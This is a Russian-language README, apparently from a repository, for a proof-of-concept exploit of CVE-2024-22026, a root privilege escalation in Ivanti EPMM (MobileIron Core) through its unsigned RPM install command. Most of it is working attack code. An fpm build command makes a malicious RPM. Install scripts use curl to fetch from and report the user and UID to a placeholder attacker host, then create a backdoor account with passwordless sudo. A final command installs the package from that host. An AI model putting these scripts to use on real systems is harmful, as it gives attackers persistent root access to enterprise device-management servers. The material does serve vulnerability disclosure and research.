
PoC-эксплойт для CVE-2024-22026, затрагивающий Ivanti EPMM "MobileIron Core"
Эксплойт POC для CVE-2024-22026, затрагивающий Ivanti EPMM "MobileIron Core"

CVE-2024-22026 — это уязвимость локального повышения привилегий в версиях сервера Ivanti EPMM (ранее MobileIron) до 12.1.0.0, 12.0.0.0 и 11.12.0.1. Данная уязвимость позволяет локальному атакующему получить root-доступ к системе, эксплуатируя процесс обновления ПО с помощью вредоносного RPM-пакета с удалённого URL-адреса.
Прочитайте полную запись в блоге для получения подробной технической информации: Эксплуатация CVE-2024-22026: получение root-доступа к Ivanti EPMM (MobileIron Core)
В ходе нашего исследования мы обнаружили, что устройство использует следующую команду для загрузки и установки RPM-пакетов от имени пользователя с низкими привилегиями:
install rpm url <remote url>
Эта команда является лишь CLI-обёрткой для следующего действия, которое выполняется с правами root:
/bin/rpm -Uvh *.rpm
Эта базовая команда rpm не обеспечивает проверку подписей или фильтрацию URL-адресов, что означает возможность установки любого RPM-пакета. Это позволяет атакующему создать и доставить вредоносный RPM-пакет, способный скомпрометировать устройство.
Для создания вредоносного RPM-пакета используется следующая команда:
fpm -s dir -t rpm -n ivanti-privesc -v 13.37 -a i386 --description "Ivanti POC" --maintainer "exploit-poc" --before-install preinstall.sh --after-install postinstall.sh -C .
preinstall.sh)#!/bin/sh
curl -O http://<attacker_IP>/poc
exit 0
postinstall.sh)#!/bin/sh
set -e # Enable strict error checking
# Report back current user and privilege level
CURRENT_USER=$(whoami | base64)
PRIV_LEVEL=$(id -u | base64)
curl http://<attacker_IP>/poc?user=$CURRENT_USER
curl http://<attacker_IP>/poc?priv=$PRIV_LEVEL
# Create a new root user
if ! useradd -s /bin/sh -m exploit-poc; then
echo "Failed to add user 'exploit-poc'" >&2
exit 1
fi
echo "exploit-poc:<redacted_password>" | chpasswd
# Grant root privileges
if ! echo "exploit-poc ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers; then
echo "Failed to modify sudoers file" >&2
exit 1
fi
exit 0
Для эксплуатации уязвимости атакующий должен выполнить следующую команду в CLI, чтобы загрузить и установить вредоносный RPM:
install rpm url http://<attacker_IP>/ivanti-privesc-13.37-1.i386.rpm
Ivanti выпустила исправления для устранения CVE-2024-22026 в следующих версиях:
Этот репозиторий и его содержимое предназначены исключительно для образовательных и исследовательских целей. Использование информации, содержащейся здесь, осуществляется на ваш собственный риск.